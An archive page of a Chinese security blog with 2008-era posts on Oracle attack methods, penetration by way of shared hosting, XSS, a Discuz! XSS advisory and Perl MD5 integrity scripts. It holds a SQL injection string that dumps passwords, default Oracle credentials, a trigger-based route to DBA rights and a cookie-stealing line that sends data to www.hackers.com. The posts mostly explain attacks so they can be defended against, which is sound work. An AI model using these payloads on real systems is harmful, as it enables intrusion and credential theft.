分类 "网络安全" 的存档.

网页感染清除精灵1.1简介与下载

软件简介:
  文件类型:.exe
  软件大小:453.58 KB
  软件类别:国产软件
  软件语言:简体中文
  授权方式:开源软件
  运行环境:Win2003,WinXP,Win2000,Win9X
  更新时间:2008-12-02
  官方网址:http://bbs.janmeng.com/
  使用方法:
  一、手动分析
  首先输入挂马特征码
  比如:

  然后在挂马特征码上填写你找到的特征码,然后点手动分析既可。
  二、智能分析
  1.输入您在网页中提取到挂马特征码
  比如:

  然后在挂马特征码上填写你找到的特征码,然后点智能分析既可。
  2.改进了对JS.VBS、PHP、ASP、JSP等文件的清除,修正了扫描带来局限问题!
  三、网页监视
  您只需要点“网页监视”既可,Ctrl+A热键可显示隐藏窗口。

    下载地址: bbs.janmeng.com

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/478

PHP 5.2.8 紧急发布

PHP官方刚刚在上周发布了5.2.7并在主页上更新,今天就撤下了这条消息,原因很简单,在5.2.7中发现了一个magic_quotes_gpc的严重bug.所以发布了5.2.8.
当然您可能刚刚升级您的站点到5.2.7,不过个人觉得这到是PHP或开源负责任的态度。

对比5.2.7只有下面一条修正:
08 Dec 2008, PHP 5.2.8
– Reverted bug fix #42718 that broke magic_quotes_gpc (Scott)

下载地址:http://us2.php.net/distributions/php-5.2.8.tar.bz2

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/479

黑客狙击Oracle系统的八大常用套路

Oracle的销售在向客户兜售其数据库系统一直把它吹捧为牢不可破的,耍嘴皮子容易,兑现起来可就不那么容易了。不管什么计算机系统,人们总能够 找到攻击它的方法,Oracle也不例外。本文将和大家从黑客的角度讨论黑客是用哪些方法把黑手伸向了你原以为他们不能触及的数据,希望作为Oracle 的数据库管理员能够清楚的阐明自己基础架构的哪些区域比较容易受到攻击。同时我们也会讨论保护系统防范攻击的方法。

1.SQL注入攻击

如今大部分的Oracle数据库都具有为某种类型网络应用服务的后端数据存储区,网页应用使数据库更容易成为我们的攻击目标体现在三个方面。其一, 这些应用界面非常复杂,具有多个组成成分,使数据库管理员难以对它们进行彻底检查。其二,阻止程序员侵入的屏障很低,即便不是C语言的编程专家,也能够对 一些页面进行攻击。下面我们会简单地解释为什么这对我们这么重要。第三个原因是优先级的问题。网页应用一直处于发展的模式,所以他们在不断变化,推陈出 新。这样安全问题就不是一个必须优先考虑的问题。

SQL注入攻击是一种很简单的攻击,在页面表单里输入信息,悄悄地加入一些特殊代码,诱使应用程序在数据库里执行这些代码,并返回一些程序员没有料到的结果。例如,有一份用户登录表格,要求输入用户名和密码才能登录,在用户名这一栏,输入以下代码:

复制内容到剪贴板程序代码程序代码
cyw'); select username, password from all_users;–

如果数据库程序员没有聪明到能够检查出类似的信息并?清洗?掉我们的输入,该代码将在远程数据库系统执行,然后这些关于所有用户名和密码的敏感数据就会返回到我们的浏览器。

你可能会认为这是在危言耸听,不过还有更绝的。David Litchfield在他的著作《Oracle黑客手册》(Oracle Hacker's Handbook)中把某种特殊的pl/sql注入攻击美其名曰:圣杯(holy grail),因为它曾通杀Oracle 8到Oracle10g的所有Oracle数据库版本。很想知道其作用原理吧。你可以利用一个被称为DBMS_EXPORT_EXTENSION的程序 包,使用注入攻击获取执行一个异常处理程序的代码,该程序会赋予用户或所有相关用户数据库管理员的特权。

这就是Oracle发布的著名安全升级补丁Security Alert 68所针对的漏洞。不过据Litchfield称,这些漏洞是永远无法完全修补完毕的。

防范此类攻击的方法

总而言之,虽说没有万能的防弹衣,但鉴于这个问题涉及到所有面向网络的应用软件,还是要尽力防范。目前市面上有各式各样可加以利用的SQL注入检测技术。可以参照http://www.securityfocus.com/infocus/1704 系列文章的详细介绍。

还可以用不同的入侵检测工具在不同的水平上检测SQL注入攻击。访问专门从事Oracle安全性研究的Pete Finnigan的安全网站http://www.petefinnigan.com/orasec.htm,在该网页搜索?sql injection?,可以获得更多相关信息。Pete Finnigan曾在其博客上报告称Steven Feurstein目前正在编写一个称为SQL Guard 的pl/sql程序包,专门用来防止SQL注入攻击,详情请查看以下网页http://www.petefinnigan.com/weblog/archives/00001115.htm

对于软件开发人员来说,很多软件包都能够帮助你?清洗?输入信息。如果你调用对从页面表单接受的每个值都调用清洗例行程序进行处理,这样可以更加严密的保护你的系统。不过,最好使用SQL注入工具对软件进行测试和验证,以确保万无一失。

1. 默认密码

oracle数据库是一个庞大的系统,提供了能够创建一切的模式。绝大部分的系统自带用户登录都配备了预设的默认密码。想知道数据库管理员工作是不是够勤奋?这里有一个方法可以找到答案。看看下面这些最常用的预设用户名和密码是不是能够登录到数据库吧:

复制内容到剪贴板程序代码程序代码
Username Password
applsys apps
ctxsys change_on_install
dbsnmp  dbsnmp
outln  outln
owa  owa
perfstat  perfstat
scott  tiger
system  change_on_install
system  manager
sys  change_on_install
sys  manager

就算数据库管理员已经很勤奋的把这些默认配对都改了,有时候想猜出登录密码也不是一件困难的事情,逐个试试?oracle?、?oracle4?、?oracle8i?、?oracle11g?,看看碰巧是不是有一个能登录上去的。

Pete Finnigan提供了一份关于缺省用户和对应密码的名单,该名单非常全面而且是最新的,并包括已经加密的密码。如果你用all_users来进行查询,可以尝试并比较一下这份名单,详细名单请参阅:http://www.petefinnigan.com/default/default_password_list.htm

防范此类攻击的方法

作为数据库管理员,应该定期审核所有的数据库密码,如果某些商业方面的阻力使你不能轻易更改容易被人猜出的密码,你可以尽量心平气和地和相关人员解释,用一些直观的例子来阐明如果不修改密码的话会有什么不好的事情发生,会有什么样的风险存在。

oracle也提供了密码安全profile,你可以激活该profile,在某种水平上加强数据库密码的复杂性,还可以执行定期密码失效。要注意要把这个功能设置为只对通过网络服务器或中间层应用服务器登录的事件起作用。

2. 蛮力攻击(Brute Force)

蛮力攻击,就像其名字所暗示的,就是不停的撬,直到?锁?打开为止的方法。对于Oracle数据库来说,就是用某种自动执行的进程,通过尝试所有的字母数字组合来破解用户名和密码。

Unix的管理员就可以利用一款名为John the Ripper的密码破解软件来执行这类的攻击。现在如果你下载某个补丁,你也可以利用这款软件来对Oracle进行蛮力攻击,敲开其密码。不过根据密码的 复杂程度不同,这可能是个很费时的过程,如果你想加快这个进程,可以事先准备一张包含所有密码加密的表,这样的表叫做Rainbow table,你可以为每个用户名准备一张不同的rainbow table,因为这种密码加密算法把用户名作为助燃剂。在这里就不再深入介绍更多的细节问题了,大家可以查阅http://www.antsight.com/zsl/rainbowcrack/获得更多信息。

orac
le服务器的默认设置是,对某个特定帐户输错密码达十次就会自动锁定该帐户。不过通常?sys as sysdba?权限没有这个限制,这可能是因为如果你锁定了管理员,那所有人都将被锁定。这样的设置为我们黑客破解软件(OraBrute)如开辟了一条 生路,它们会昼夜不停地敲打你数据库的前门,直到它乖乖打开为止。

防范此类攻击的方法

想要抵御此类攻击,可以使用之前提及的对付预设密码攻击的方法。不过好奇心过重的数据库管理员也可能下载上面提到的工具侵入自己的系统。这说明了你真正的风险来自何方。

4. 从后门偷窃数据

在安全领域,这个概念被称为数据向外渗漏(exfiltration),这个词来自军事术语,其反面是向敌人内部渗透 (infiltration),意思就是在不被发现的情况下偷偷潜出。对于从目标数据库获取数据的过程,可能就像从一些磁带备份中挑拣数据和还原数据库或 者像从一个被毁坏的磁盘重复制一份拷贝一样简单。不过,也有可能涉及到窥探网络传输以获得相关的数据包。

oracle有一个名为UTL_TCP的程序包,能够使外部连接指向其他服务器。对它稍微改编一下,就可以利用它从数据库发送一套低带宽数据流到远 程主机。Oracle也附带了一些有用的程序包来隐藏数据流里的信息,如果你在发动潜入行动的时候担心入侵检测系统会监测到你的不法活动,那么可以充分利 用这些功能秘密嵌入,包括DBMS_OBFUSCATION_TOOLKIT和DBMS_CRYPTO。

防范此类攻击的方法

防范此类攻击的最佳办法是安装入侵检测系统,这些系统能够检测网络中流入和流出的数据包。有一些检测系统还提供深入数据包检测,可以确实检查某些 SQL,并可以通过设定规则在某种情况下触发报警器。这些工具还能够查找泄密迹象,例如添加的UNION、各种类型的short- circuiting命令、利用?–?注释进行截断等等。

5. 监听器

计算机世界最让人觉得了不起的事情就是,不管有多么困难的事,总有办法驯服它。尤其是在安全领域,一些漏洞如此的简单,而这些漏洞的出现仅仅是因为用户(也包括我们现在扮演的角色??黑客)并没有像软件设计者(程序员或软件开发员)本来预想的那样思考和行动。

oracle监听器的设置是为了能够实现远程管理。那么如果攻击者把监听器的logfile设置为Unix .rhosts文件呢?这样攻击者就可以轻松的对.rhosts文件进行写操作。Unix上的这个文件设置了什么人可以不用密码而使用rsh、 rlogin和rcp命令登录。你可以想想将会发生什么事情。

这其实只是围绕Oracle监听器安全问题的冰山一角而已。其他的还有缓冲区溢出等一大堆问题需要注意。事实上Litchfield的《Oracle黑客手册》里花了一整章的内容来讨论这个主题。

防范此类攻击的方法

从预防的角度而言,Oracle已经做出了一定措施来更好的保障系统安全,前提是你能够把它实施到位。首先,为监听器设置一个管理密码。对于担负着 管理不断增加的密码重担的管理员而言,这看起来像是多余的,不过在你需求其他途径来保障监听器安全之前,好好地想想上面提到的和没提到的威胁。 oracle也添加了ADMIN_RESTRICTIONS,能够阻止特定的远程控制事件。

6. 权限提升

简单的说,?权限提升?包括使用现有的低权限帐户,利用巧取、偷窃或非法的方式获取更高的权限,甚至是数据库管理员的权限。

下面举个使用Create ANY权限的例子。假设我能通过一个拥有Create ANY TRIGGER权限的用户CYW访问数据库,这样我就能在任意的模式里创建触发器。如果你能追踪到一个任何用户都能执行写入操作的表,你在SYSTEM里 创建了一个能够在低权限的你对该可写表进行插入或更新操作时执行的触发器。你编写的触发器会调用一个存储过程(也是你自己编写的),该存储过程会使用 AUTHID CURRENT_USER为调用者授权。这就意味着,当该触发器运行?你?的存储过程时,拥有SYSTEM的权限。现在你的非法存储过程内部,包含了 ?EXECUTE IMMEDIATE 'GRANT DBA TO CYW'?。这样我就可以在触发器运行的时候插入到我的公共表里,该触发器由SYSTEM所有,而SYSTEM会调用我的 change_privileges存储过程,这个存储过程使用AUTHID CURRENT_USER为我授权。这样?我?就可以在不改变我自身权限的情况下获得并执行SYSTEM的权限。

防范此类攻击的方法

数据库管理员该怎么应对这个问题呢?首先,你应该审核数据库的Create ANY权限,删除其中不需要的那些部分。其次,看看类似于www.securityfocus.com这类的论坛,看看关于权限提升的最新漏洞。最后,激活对某些特定类型数据库活动的审计功能并没有什么坏处,这样数据库就能让你实现自我保护。当数据库自行审核类似于GRANT DBA这样的事件时,你可以通过查看审计日志知道有没有出现恶意或突发的活动

7. 操作系统指令和安全

黑客并不总是通过shell命令行提示符登录到你的系统的。 不过,通过诱使Oracle数据库运行操作系统水平的指令,我们的确给黑客提供了一条运行指令的有效途径。这些指令能够删除和破坏文件、改写日志(以便隐 藏他们的行踪)、创建帐户,以及其他一些能通过命令行输入指令达成的操作。他们是怎么做到的呢?尽管方法有很多,最容易的一种就是通过Java和 PL/SQL这些程序语言。通常可以利用创建外部存储过程的能力,使之执行一个具备系统调用功能的存储程序。这个系统调用指令能够以首次安装时使用的 oracle帐户权限执行。

防范此类攻击的方法

虽然Oracle在保护用户免受此类攻击上已经取得了一定进展,不过你最好还是把希望寄托在你的预防监测工作上。严密留意你的系统内部有没有出现这类活动,当有攻击者试图对你使用此类恶意攻击时,你最好能够事先掌握主动权。

8. 文件系统安全

对文件系统(filesystem)的访问是一个让你头大的棘手问题。?oracle?操作系统用户拥有所有Oracle软件和数据库数据文件的访 问权限,所以如果数据库内部的某些用户利用UTL_FILE包访问filesystem上的文件时,他们就可以访问之前由于权限和角色限制而无权访问的很 多数据库内部文件。

防范此类攻击的方法

oracle引入DIRECTORY对象在防止此类攻击上也有一定作用。在10g系统中,必须通过DIRECTORY对象来定义某些类型的读写操 作。这意味着用户必须拥有Create DIRECTORY权限,而在前面介绍的权限提升问题中,我们已经看到可以通过很多方法获取这种权限。即使这些也被解决了,还是有很多方法可以通过 PL/SQL或Java语言来获取对filesystem的访问权限和对文件的读写权限。

总论:

就像上面讨论的一样,Oracle数据库产品有很多漏洞,有时候看起来就像由一些聪明透顶的工程师建造的一所豪宅,工程师固然聪明,但比那些觊觎此 宅的黑客们忠厚老实多了。因此,他们没有预料到有人会利用这种种方法来偷砖窃瓦削弱豪宅的根基。黑客可以通过很多不同的方法进行攻击,侵入到目标数据库。

不过,只要数据库管理员能够花点时间和精力来解决,其中很多问题都是可以避免的。Oracle已经针对很多漏洞在数据库内部打上了补丁,而且入侵监 测系统能体构额外的安全保障。所以数据库管理员应该对每一种漏洞都铭记在心,警惕性才是防范的关键,尽量执行好自己制定的安全计划。

from:51cto

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/483

依然Check MD5(md5sum for pl)

两个使用了不同的函数,在执行效率上checkmd5sum.pl 比checkmd5sum_find.pl要更快。
1.checkmd5sum.pl

checkmd5sum.pl代码

复制内容到剪贴板程序代码程序代码
1. #!/usr/bin/perl  
   2. #  
   3. # File: checkmd5sum.pl  
   4. # Author: amxku.net  
   5. # Date: 2008-12-02  
   6. # License: GPL-2  
   7.  
   8. use Digest::MD5;  
   9. use IO::File;  
  10. use POSIX qw(strftime);  
  11.  
  12. if( @ARGV != 1 ){  
  13.     print "check files md5sum\nusage:     \nexample:   c:\     \n";  
  14.      exit;  
  15. }  
  16.  
  17. $now_time=strftime "%Y-%m-%d %H:%M:%S", localtime;  
  18. $md5sumfile_name=strftime "%Y_%m_%d_%H_%M_%S", localtime;  
  19.  
  20. open MD5FILE,">$md5sumfile_name.txt" or die "$!\n\n";  
  21. print MD5FILE "# check files md5sum\n\n";  
  22. print MD5FILE "# Created on $now_time\n";  
  23. print MD5FILE "# amxku_at_msn.com\n\n";  
  24. my $root = $ARGV[0];  
  25. sub lsr_s($) {  
  26.     my $cwd = shift;  
  27.     my @dirs = ($cwd.'/');  
  28.  
  29.     my ($dir, $file);  
  30.     while ($dir = pop(@dirs)) {  
  31.         local *DH;  
  32.         if (!opendir(DH, $dir)) {  
  33.             warn "Cannot opendir $dir: $! $^E";  
  34.             next;  
  35.         }  
  36.         foreach (readdir(DH)) {  
  37.             if ($_ eq '.' || $_ eq '..') {  
  38.                 next;  
  39.             }  
  40.             $file = $dir.$_;            
  41.             if (!-l $file && -d _) {  
  42.                 $file .= '/';  
  43.                 push(@dirs, $file);  
  44.             }  
  45.             process($file, $dir);  
  46.         }  
  47.         closedir(DH);  
  48.     }  
  49. }  
  50.  
  51. my ($size, $dircnt, $filecnt) = (0, 0, 0);  
  52.  
  53. sub process($$) {  
  54.     my $file = shift;  
  55.     print $file, "\n";  
  56.     if (substr($file, length($file)-1, 1) eq '/') {  
  57.         $dircnt++;  
  58.     }  
  59.     else {  
  60.         $filecnt++;  
  61.         $size += -s $file;  
  62.         my $fileinfo = genchksuminfo($file);  
  63.         print MD5FILE "$fileinfo\n";  
  64.     }  
  65. }  
  66.  
  67. sub genchksuminfo  
  68. {  
  69.     my ($file) = @_;  
  70.     my $chk = Digest::MD5->new();  
  71.     my (@statinfo) = stat($file);  
  72.     $chk->add(@statinfo[0,1,2,3,4,5,7,9,10]);  
  73.     $chk->addfile(IO::File->new($file));  
  74.     return sprintf("md5:%s\t%s",$chk->hexdigest,$file);  
  75. }  
  76.  
  77. lsr_s("$root");  
  78. print "\n$filecnt files, $dircnt directory. $size bytes.\n";  
  79. my $dateinfo ="\n$filecnt files, $dircnt directory. $size bytes.\n";  
  80. print MD5FILE "$dateinfo\n";  
  81. close(MD5FILE);  

2.checkmd5sum_find.pl
   1.  #!/usr/bin/perl  
   2. #  
   3. # File: checkmd5sum.pl  
   4. # Author: p0150 & amxku  
   5. # License: GPL-2  
   6.  
   7. use File::Find;  
   8. use Digest::MD5;  
   9. use IO::File;  
  10. use POSIX qw(strftime);  
  11.  
  12. if( @ARGV != 1 ){  
  13.     print "usage:     \n";  
  14.     print "example:   c:\     \n";  
  15.      exit;  
  16. }  
  17. $now_time=strftime "%Y-%m-%d %H:%M:%S", localtime;  
  18. $now_string=strftime "%Y_%m_%d_%H_%M_%S", localtime;  
  19.  
  20. open MD5FILE,">$now_string.txt" o
r die "$!\n";  
  21. print MD5FILE "#\n";  
  22. print MD5FILE "# Created on $now_time\n";  
  23. print MD5FILE "#\n";  
  24. print MD5FILE "\n";  
  25. chomp(my $dir=$ARGV[0]);  
  26. find(\&wanted, $dir);          
  27. sub wanted    
  28. {  
  29. unless (-d $_)  
  30. {  
  31. print $File::Find::dir.'/'.$_."\n";  
  32. my $name=$File::Find::dir.'/'.$_;  
  33. my $fileinfo = genchksuminfo($name);  
  34. print MD5FILE "$fileinfo\n";  
  35. }  
  36. }  
  37.  
  38. sub genchksuminfo  
  39. {  
  40.     my ($file) = @_;  
  41.     my $chk = Digest::MD5->new();  
  42.     my (@statinfo) = stat($file);  
  43.     $chk->add(@statinfo[0,1,2,3,4,5,7,9,10]);  
  44.     $chk->addfile(IO::File->new($file));  
  45.     return sprintf("md5:%s\t%s",$chk->hexdigest,$file);  
  46. }  
  47. close(MD5FILE);  

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/485

我是一个渗透手–旁注攻击篇

by:linzi

题记:

有很多人不会明白我的想法,但希望我个人的技术理念能对一些人有帮助.

把所学的东西上升为理论是为了更大限度的拓宽自已的思维,对于一个渗透者来说,思维比0day要重要多了.

渗透其实就是对已经掌握的各种技术加上自己的思维进行排列组合.

假说哪一天google被人入侵了,入侵的技术就是注射,很多人会说,这个我也会,没什么了不起的.

是没什么了不起的,但为什么别人能做到用注射搞进去,而你不行,这就是区别,虚心的去学习好的理念,好的想法,

会比报怨,嫉妒会好很多.

在这四年里面需要感谢的人很多,看到这个文章后,想对你说,谢谢!!祝你早点好起来,还有我的朋友们^_^!

这本书里面的技术都是一些很老的技术,文章主要给那些需要的人.牛人略过^_^!

作者:Linzi

正文:

例子:

渗透某IDC技术细节:

www.idc.com是一个很大型的IDC.渗透经过很简单.

ping www.idc.com

Pinging www.idc.com [220.181.6.19] with 32 bytes of data:

Reply from 220.181.6.19: bytes=32 time=4ms TTL=56
Reply from 220.181.6.19: bytes=32 time=3ms TTL=56
Reply from 220.181.6.19: bytes=32 time=3ms TTL=56
Reply from 220.181.6.19: bytes=32 time=5ms TTL=56

Ping statistics for 220.181.6.19:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 3ms, Maximum = 5ms, Average = 3ms

得到IP分析得到,该IP为网通线.

一般来说,IDC都会给用户试用期,就国内来说,你通过试用,可以得到网通,电信,或双线的一个ftp,mssql,http等一些权限.

去www.idc.com通过收集的资料,狂注册,一直注册到和主站同一IP的一个试用账号.

得到mssql账号,backup database,直接得到一个shell

好了例子结束.

说明开始:

一般来说,有经验的黑客他们通过这个例子联想到,搞一个虚拟空间的站.

a.先定位其在哪个空间商注册.

这个很好解决whois查看域名的dns,再google一下这个dns一般就确定是在哪里注册过的了.

b.确定IP段以及类型,如网通,电线,双线等

c.狂注册至分配到同一IP的一个测试账号,提权或直接backup shell.

如果我们再跳出这个思维呢?OK,现在我们把这些例子上升为一个理论,也就是所谓的旁注攻击.

===============================================================================

什么是旁注攻击:

利用与目标相关的人或事物为跳板,迂回式的渗透目标的一个入侵手法.

当我们把这个上升为一个理念的时候,我们再来拓宽一下思路:

先与我们传统的所谓的?旁注攻击?开始:

A:查出同一个服务器所绑定的域名.通过渗透同一服务器的其它虚拟空间用户,再通过提权或配置不当等方式入侵目标.

B:通过渗透ISP的方式,迂回式的渗透目标.

OK,现在我们再拓宽一下思维:

与目标相关的东西一般有哪些呢?

我们可以定位为,与目标有关联的事物都可能被成功入侵的一个细节.

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/486

浅析URL背后的杀机 网站防范XSS攻击实录

作者: smile

XSS(Cross-site scripting)攻击是最常见的Web攻击之一,和其它Web攻击类似的是,XSS也是利用Web页面编码的不严谨,和SQL注入漏洞所不同的是,XSS漏洞更加难以发现避免。就连McAfee、Symantec、VeriSign这种专业安全公司,也在2008年1月的XEED.com报告中被爆出官网存在XSS漏洞。

此外,XSS攻击还有另外一个与众不同的特性:虽然骇客利用的是Web业务系统存在的漏洞,但真正的受害者却是随后访问这些Web系统的用户。

正是由于以上两个特性??难以避免、难以察觉,所以想要防御XSS攻击非常困难。启明星辰推出的天清入侵防御产品,采用基于攻击手法分析的检测方法,对Web威胁如SQL注入、XSS攻击等进行全面检测和防御。与传统的基于数据特征匹配和基于异常模型构建的Web安全相比,有着更低的漏报率和误报率。

网上银行谨防XSS攻击

大家都用过网站的搜索功能,提供一个搜索输入框,用户在框中输入想要查找的内容,提交后台数据库检索。但如果提交的输入信息不是字符串,而是一段可执行指令呢?一个很常见的XSS例子,在输入框中填入

?">?
(不包括最外侧的双引号),一些没有做严格过滤的站点将会弹出一个alert框,显示?XSS Testing?,这意味着这段脚本已经被执行了。Reflect-based XSS(反射式XSS)利用的就是这样一个原理。  

以下就是一则利用XSS漏洞进行网银诈骗的真实案例:

  小陈是某网上银行的安全维护人员,有一天忽然接到客服部门转来的客户投诉,称收到一条交易提醒,但该客户仅做过网上银行的登录,并没有做过付款动作。

  你们给我发了一封邮件,说是有分期付款买笔记本电脑的优惠活动,我就点链接进来看,可没几分钟,我就收到交易提醒,说网上付款4784元,请我确认,但我还没下单呢,你们这是怎么回事??电话里客户的声音明显带着压抑不住的愤怒。

  经过确认,该客户使用的PC并不存在病毒,而且也的确是仅点击了广告邮件的链接而已。?那你把这封邮件发给我看看吧?,小陈在排除了其它可能性后,这么告诉客户,?分析出结果我们的客服人员将第一时间通知您,您现在的这笔费用我们先冻结,待解决后给您恢复?。

  在收到客户转发来的邮件后,小陈第一眼就看出了问题,这不是公司的系统邮件,而是一封钓鱼邮件,伪造了发件人名称的钓鱼邮件。其中关于促销优惠活动的页面都是截取了真实活动页面,但在?点击参加活动?的按钮后面,却隐藏着重重的杀机。

  这个链接并非是正常促销活动所在的页面,而是如下所示的一个长URL 
点击参加活动

  一般的用户在看到URL开头是正确的网站域名ebank,都不会怀疑邮件的真实性,而骇客正是利用这一心理,精心设置了圈套,利用了Ebank的某个输入域中存在反射式XSS攻击漏洞,通过
"var img = new Image();img.src="http://www.hackers.com/?"+document.cookie;"

   这段JavaScript代码来盗取受害者的Cookie。受害者只要点击了这个链接,在正确的ebank页面中操作所留下的Cookie信息,都将被 骇客获取,利用这些信息,骇客甚至可以绕过验证机制。这个案例中该客户就是被这样一个长URL欺骗了,好在发现及时,没有造成财产损失。

  小陈拿着分析结果去找信息中心沈主任汇报,而沈主任果然经验丰富:?先发布网站紧急通知,告知用户注意不要随意点击链接,然后迅速找专业安全公司做安全服务,查清问题的根源再说。?并立刻联系了专业安全厂商启明星辰的当地销售人员。

   经过安星远程网站安全检查服务的检测,发现小陈公司网站存在数个XSS和SQL注入的漏洞,考虑到代码级修改费时太长,沈主任决定双管齐下,一方面找开 发人员修补现有漏洞,一方面咨询是否有现成的专业安全产品可以防范XSS攻击。在对比了数家国内外的安全产品后,启明星辰天清入侵防御产品的专业的Web 安全防御能力给沈主任留下了深刻的印象,特别是其采用了攻击机理分析方式,在防范XSS攻击和SQL注入方面都有很好的效果。对网银来说,时间可就是真金 白银,所以沈主任当机立断先购买一台天清入侵防御系统,并迅速上线。当小陈尝试用原来的长URL进行XSS攻击时,发现天清入侵防御产品信息报警监视台上 已经出现了报警信息并进行了及时的阻断。 

相关提示

  反射式XSS攻击的对 象如果是网站管理员,那么整个网站的权限都有可能因此而泄露给骇客。作为网站的所有者,不能因为受攻击者只是普通用户而对反射式XSS攻击掉以轻心,采用 专业的安全产品或仔细检查你的所有页面,既是对用户负责也保障了自己的安全。而普通用户也需要加强自身的安全意识:采用拥有反向地址检查技术的邮件系统, 尽量不要点击过长且包含未知域名的URL,当然,采用一款防反射式XSS攻击的浏览器,比如IE8,也是很有必要的。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/487

Discuz!的1_modcp_editpost.tpl.php文件xss bug

author: ring04h
team:http://www.80vul.com

[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的1_modcp_editpost.tpl.php里$orig['message']未过滤,导致一个xss漏洞.

一 分析

在文件1_modcp_editpost.tpl.php里代码:

…..

复制内容到剪贴板程序代码程序代码
<?=$orig['message']?>

2.对帖子有管理权限的用户"双击"讨论帖进入便捷编辑模式,将触发XSS.
三 补丁[fix]

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/488